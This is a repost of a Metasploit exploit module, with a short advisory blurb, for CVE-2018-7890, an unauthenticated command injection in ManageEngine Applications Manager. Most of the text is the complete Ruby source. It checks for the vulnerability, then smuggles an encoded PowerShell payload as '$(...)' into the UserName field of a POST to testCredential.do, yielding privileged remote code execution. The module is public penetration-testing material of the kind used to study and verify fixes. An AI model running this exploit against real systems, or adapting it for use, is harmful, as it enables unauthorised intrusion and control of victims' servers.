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ManageEngine Application Manager Remote Code Execution

ManageEngine Application Manager Remote Code Execution
Posted Mar 29, 2018
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute an operating system command under the context of privileged user. The publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing the given system. This endpoint calls several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer.

tags | exploit
advisories | CVE-2018-7890
MD5 | 895c5fd2dc6d942a70c4718c9ebc0037

ManageEngine Application Manager Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => "ManageEngine Applications Manager Remote Code Execution",
'Description' => %q(
This module exploits command injection vulnerability in the ManageEngine Application Manager product.
An unauthenticated user can execute a operating system command under the context of privileged user.

Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
by accessing given system. This endpoint calls a several internal classes and then executes powershell script
without validating user supplied parameter when the given system is OfficeSharePointServer.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['CVE', '2018-7890'],
['BID', '103358'],
['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'],
['URL', 'https://pitstop.manageengine.com/portal/community/topic/security-vulnerability-issues-fixed-upgrade-to-the-latest-version-of-applications-manager']
],
'DefaultOptions' =>
{
'WfsDelay' => 10,
'RPORT' => 9090
},
'Payload' =>
{
'BadChars' => "\x22"
},
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Mar 7 2018',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
]
)
end

def check
res = trigger_endpoint(Rex::Text.rand_text_alpha(3))
if res && res.body.include?('Kindly check the credentials and try again')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable

powershell_options = {
encode_final_payload: true,
remove_comspec: true
}
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)

print_status('Triggering the vulnerability')

trigger_endpoint("$(#{p})")
end

def trigger_endpoint(username)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
'vars_post' => {
'method' => 'testCredentialForConfMonitors',
'type' => 'OfficeSharePointServer',
'montype' => 'OfficeSharePointServer',
'isAgentEnabled' => 'NO',
'isAgentAssociated' => 'false',
'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
'Powershell' => 'True', # :-)
'CredSSP' => 'False',
'SPType' => 'SPServer',
'CredentialDetails' => 'nocm',
'Password' => Rex::Text.rand_text_alpha(3),
'UserName' => username
}
)
end
end

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